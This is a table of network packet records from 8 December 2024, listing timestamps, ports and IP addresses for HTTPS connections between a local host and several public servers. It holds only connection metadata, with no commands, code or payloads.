Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2024 01:46:00.837064028 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:00.837083101 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:00.837234020 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:00.840157032 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:00.840172052 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:02.055674076 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:02.055855989 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:02.057399035 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:02.057406902 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:02.057610035 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:02.104402065 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:02.105178118 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:02.105211973 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:02.105237007 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.213505983 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.213574886 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.215838909 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.237247944 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.237261057 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.237291098 CET	49869	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.237297058 CET	443	49869	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.333161116 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.333184958 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:03.333251953 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.333646059 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:03.333662987 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:04.543504953 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:04.543704987 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:04.544859886 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:04.544872999 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:04.545077085 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:04.548926115 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:04.548943996 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:04.548983097 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.391577959 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.391707897 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.391733885 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.391747952 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.391767025 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.391805887 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.391928911 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.400034904 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.400075912 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.400084019 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.408468008 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.408533096 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.408541918 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.463782072 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.463789940 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.510667086 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.511132002 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.557542086 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.557554960 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.583374977 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.583447933 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.583458900 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.587438107 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.587492943 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.629205942 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.629220963 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.629246950 CET	49878	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.629254103 CET	443	49878	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.791927099 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.791937113 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:05.792004108 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.792525053 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:05.792535067 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.010083914 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.010162115 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.011293888 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.011296988 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.011499882 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.012865067 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.012994051 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.013021946 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.013287067 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.013292074 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.951200008 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.951268911 CET	443	49885	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.951469898 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.951495886 CET	49885	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.971997023 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.972007990 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:07.972098112 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.972392082 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:07.972402096 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:09.186757088 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:09.186929941 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:09.188076973 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:09.188081980 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:09.188275099 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:09.189493895 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:09.189623117 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:09.189649105 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:10.080503941 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:10.080574989 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:10.080630064 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:10.080801010 CET	49891	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:10.080806971 CET	443	49891	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:10.156573057 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:10.156585932 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:10.156656027 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:10.156936884 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:10.156948090 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:11.378088951 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:11.378176928 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:11.596292019 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:11.596313000 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:11.596548080 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:11.597664118 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:11.597836018 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:11.597863913 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:11.597929955 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:11.597939014 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:12.656116009 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:12.656188965 CET	443	49897	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:12.656348944 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:12.656366110 CET	49897	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:12.758829117 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:12.758877039 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:12.758944988 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:12.759505987 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:12.759520054 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:13.971308947 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:13.971378088 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:13.972537041 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:13.972549915 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:13.972748041 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:13.973856926 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:13.973958969 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:13.973988056 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:14.981089115 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:14.981153965 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:14.981214046 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:14.981389999 CET	49902	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:14.981410027 CET	443	49902	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:14.995150089 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:14.995162010 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:14.995242119 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:14.995524883 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:14.995534897 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:16.219434023 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:16.219501019 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:16.220786095 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:16.220791101 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:16.220985889 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:16.222105980 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:16.222181082 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:16.222184896 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:17.335139990 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:17.335243940 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:17.335306883 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:17.335423946 CET	49908	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:17.335432053 CET	443	49908	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:17.375080109 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:17.375113964 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:17.375207901 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:17.375432968 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:17.375449896 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:18.586108923 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:18.586208105 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:18.587591887 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:18.587601900 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:18.587802887 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:18.589004993 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:18.589101076 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:18.589107990 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:19.376512051 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:19.376581907 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:19.376652956 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:19.376846075 CET	49915	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:19.376861095 CET	443	49915	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:19.380032063 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:19.380052090 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:19.380131960 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:19.380425930 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:19.380435944 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:20.603678942 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:20.603873968 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:20.605103016 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:20.605110884 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:20.605308056 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:20.606611013 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:20.606642962 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:20.606673956 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:21.457514048 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:21.457581043 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:21.457633972 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:21.457801104 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:21.457809925 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:21.457853079 CET	49920	443	192.168.2.4	104.21.36.51
Dec 8, 2024 01:46:21.457858086 CET	443	49920	104.21.36.51	192.168.2.4
Dec 8, 2024 01:46:21.598870039 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:21.598901987 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:21.598977089 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:21.599278927 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:21.599293947 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:22.813677073 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:22.813736916 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:22.815567017 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:22.815577030 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:22.815781116 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:22.817060947 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:22.859329939 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:23.449717999 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:23.449796915 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:23.449863911 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:23.450037003 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:23.450057983 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:23.450068951 CET	49926	443	192.168.2.4	104.20.4.235
Dec 8, 2024 01:46:23.450073957 CET	443	49926	104.20.4.235	192.168.2.4
Dec 8, 2024 01:46:24.147629023 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:24.147645950 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:24.147711039 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:24.148010015 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:24.148022890 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:25.362931013 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:25.362993002 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:25.364597082 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:25.364604950 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:25.364804983 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:25.365938902 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:25.407350063 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016318083 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016360998 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016455889 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.016467094 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016608000 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016638994 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016659975 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.016669035 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.016707897 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.016998053 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021285057 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021325111 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.021331072 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021465063 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.021476984 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021483898 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.021574974 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021600008 CET	443	49933	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:26.021612883 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:26.021651030 CET	49933	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:31.197021961 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:31.197042942 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:31.197114944 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:31.205301046 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:31.205319881 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.016124010 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.016196012 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:33.017713070 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:33.017724037 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.017930984 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.025477886 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:33.071321011 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.734353065 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.734400988 CET	443	49949	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:33.734442949 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:33.739281893 CET	49949	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:34.245834112 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:34.245867968 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:34.245928049 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:34.246210098 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:34.246225119 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.058581114 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.058670998 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:36.059906006 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:36.059912920 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.060115099 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.061806917 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:36.103337049 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.987895966 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.987916946 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.987930059 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.988051891 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:36.988071918 CET	443	49959	180.163.242.102	192.168.2.4
Dec 8, 2024 01:46:36.988123894 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:36.989963055 CET	49959	443	192.168.2.4	180.163.242.102
Dec 8, 2024 01:46:38.133728027 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:38.133738041 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:38.133810997 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:38.134031057 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:38.134040117 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.322868109 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.323060036 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.323071003 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.323708057 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.325171947 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.325176954 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.325413942 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.326792955 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.367331028 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.856364012 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.864763021 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.864844084 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.864852905 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.864901066 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.881632090 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.881716967 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.898521900 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.898595095 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:40.907069921 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:40.907129049 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:41.062107086 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:41.062114954 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:41.062187910 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:41.062196016 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:41.076874018 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:41.076939106 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:41.076940060 CET	443	49970	103.235.47.188	192.168.2.4
Dec 8, 2024 01:46:41.076984882 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:41.077275038 CET	49970	443	192.168.2.4	103.235.47.188
Dec 8, 2024 01:46:42.098390102 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:42.098402977 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:42.098464966 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:42.098705053 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:42.098714113 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.311047077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.311155081 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.317161083 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.317173958 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.317395926 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.319380999 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.363337994 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902637959 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902672052 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902772903 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.902781010 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902915001 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902947903 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.902990103 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.902996063 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.903050900 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.905407906 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.913831949 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.913886070 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.913891077 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.922249079 CET	443	49979	104.21.26.127	192.168.2.4
Dec 8, 2024 01:46:43.922302008 CET	49979	443	192.168.2.4	104.21.26.127
Dec 8, 2024 01:46:43.922307968 CET	443	49979	104.21.26.127	192.168.2.4
